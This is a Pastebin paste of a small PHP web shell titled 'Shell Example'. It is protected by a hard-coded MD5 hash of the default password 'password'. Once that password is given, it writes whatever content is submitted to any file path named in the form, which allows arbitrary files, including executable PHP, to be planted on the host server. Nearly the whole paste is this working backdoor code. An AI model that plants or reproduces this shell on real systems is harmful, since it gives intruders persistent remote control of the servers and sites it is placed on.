Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Default password: password
- $password = "5f4dcc3b5aa765d61d8327deb882cf99";
- if(isset($_POST['submit']))
- {
- if(empty($_POST['filename']) || empty($_POST['code']) || empty($_POST['password']))
- {
- // If any parameters are empty
- die("Empty Parameters!");
- } elseif(md5($_POST['password']) !== $password)
- {
- // If encoded post parameter: password does not match already encoded $password
- die("Incorrect password!");
- }
- // Open file with filename parameter
- $file = fopen($_POST['filename'], 'w');
- // Write code to file
- fwrite($file, $_POST['code']);
- // Close file
- fclose($file);
- // Alert that file was written to
- echo "<div align=\"center\" class=\"success\">Successfully written: <b>" . htmlspecialchars($_POST['filename']) . "</b></div>";
- }
- ?>
- <html lang="en">
- <head>
- <title>Shell Example</title>
- <style>
- body{background-color:#000000;}
- .container{margin-top:12%;}
- h1{font-family:Tahoma;color:#fff;}
- .filename{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
- .code{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
- .password{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
- #space{padding-top:3px;}
- .submit{border:0;background-color:#4DC061;width:16%;padding-top:1%;padding-bottom:1%;border-radius:2%;}
- .success{width:16%;background-color:#4DC061;color:#000000;padding-bottom:1%;padding-top:1%;}
- </style>
- </head>
- <body>
- <div align="center" class="container">
- <form action="" method="POST">
- <h1>Shell Example</h1>
- <input type="text" name="filename" class="filename" placeholder="Enter Filename..."><div id="space"></div>
- <input type="text" name="code" class="code" placeholder="Enter HTML Code..."><div id="space"></div>
- <input type="password" name="password" class="password" placeholder="Enter Password..."><div id="space"></div>
- <input type="submit" name="submit" class="submit" value="Submit">
- </form>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment